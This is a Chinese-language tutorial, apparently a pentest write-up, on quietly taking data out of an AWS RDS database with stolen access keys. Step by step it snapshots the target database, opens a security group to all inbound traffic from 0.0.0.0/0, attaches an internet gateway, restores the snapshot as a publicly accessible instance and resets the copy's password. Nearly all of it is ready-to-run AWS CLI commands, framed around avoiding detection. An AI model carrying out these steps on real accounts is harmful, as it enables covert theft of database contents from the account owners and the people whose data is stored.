场景
渗透的过程即是信息收集的过程,当攻击者拿到 AKSK 后,除了传统的查看 EC2 、S3 、EKS 等信息外, RDS 也是攻击者查询、收集信息的重要方向。AWS 中的 RDS 提供了直接重设密码的方式,一般情况下攻击者不会这么干,这会给生产环境造成严重的故障且立刻被暴露。那么如果做到不改变现有数据库的密码又能查看数据库中的数据呢?
RDS 快照复制技术
RDS 快照复制是查看 RDS 数据库的一种方式,如果需要复制到可供外部攻击者访问,还需要考虑到 VPC 的 IGW、安全组配置以及 DNS、hostname 解析支持。下图是该技术的全部汇总图。
VPC 配置
1、VPC 必须支持 dns 解析和 hostname 解析,否则处于该 VPC 中的 RDS 的终端节点不能被外部解析,从而无法入栈访问。
aws ec2 modify-vpc-attribute --vpc-id vpc-xxxx --enable-dns-support --region=us-west-2
aws ec2 modify-vpc-attribute --vpc-id vpc-xxxx --enable-dns-hostnames --region=us-west-2
2、如果要RDS 复制到公网访问,VPC 的安全组必须支持流量入栈。
aws ec2 authorize-security-group-ingress --group-id sg-xxxx --protocol all --cidr 0.0.0.0/0 --region=us-west-2
3、VPC 除了安全组需要开放入栈流量,支持 DNS 解析外,还需要配置 IGW(Internet Gateway)因特网网关,配置了该项 VPC 才能和互联网打通,该项分为两步,一步为创建 IGW,另一步为 创建的 IGW 和 VPC 关联。
# 创建 IGW
aws ec2 create-internet-gateway --tag-specifications ResourceType=internet-gateway,Tags='[{Key=Name,Value=my-igw}]' --region=us-west-2
# 关联 VPC
aws ec2 attach-internet-gateway --internet-gateway-id igw-xxxx --vpc-id vpc-xxxx --region us-west-2
VPC 子网配置
1、指定的 VPC 中创建 VPC 子网。
aws ec2 create-subnet \
--vpc-id vpc-xxxx \
--cidr-block 172.10.*.*/24 \
--tag-specifications 'ResourceType=subnet,Tags=[{Key=Name,Value=vpcsubname}]' --availability-zone us-west-2a --region=us-west-2
2、VPC 子网添加出网路由,该项需配置子网到 VPC 上关联的 IGW 路由。
aws ec2 describe-route-tables --filters "Name=association.subnet-id,Values=subnet-xxxx" --region=us-west-2
3、创建 RDS 子网,这里的 RDS 子网必须关联两个以上的 VPC 子网才能保证 RDS 高可用。
aws rds create-db-subnet-group \
--db-subnet-group-name xxxxx \
--db-subnet-group-description "xxxx" \
--subnet-ids '["subnet-xxxx","subnet-xxxx"]' --region=us-west-2
RDS 配置
1、给指定的 RDS 打快照
--db-instance-identifier :数据库名称
--db-snapshot-identifier :数据库快照名称
aws rds create-db-snapshot --db-instance-identifier xxxx --db-snapshot-identifier xxxx --region=us-west-2
2、从快照还原 RDS。
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier restoename \
--db-snapshot-identifier shopname \
--db-instance-class db.t3.micro \
--publicly-accessible \
--vpc-security-group-ids=sg-xxxx \
--db-subnet-group-name xxxx \
--region=us-west-2
--db-snapshot-identifier #快照名称
--db-instance-class db.t3.micro #快照实例的类型
--publicly-accessible #可对公访问
--vpc-security-group-ids=sg-xxxx- #该实例选定的安全组名称
--db-subnet-group-name #数据库子网组名称(至少两个 VPC 子网的组合,至于数据库实例最终落在哪个子网中,目前不太好判断,只有每个子网都配置条出网的 igw 路由,该参数决定了 RDS 落在哪个 VPC 上)
3、修改 RDS 密码
修改还原数据库的密码且提供对公连接
--apply-immediately 是一个很重要的参数,表示立即生效
修改密码
aws rds modify-db-instance --db-instance-identifier your-db-instance-name --master-user-password your-new-password --apply-immediately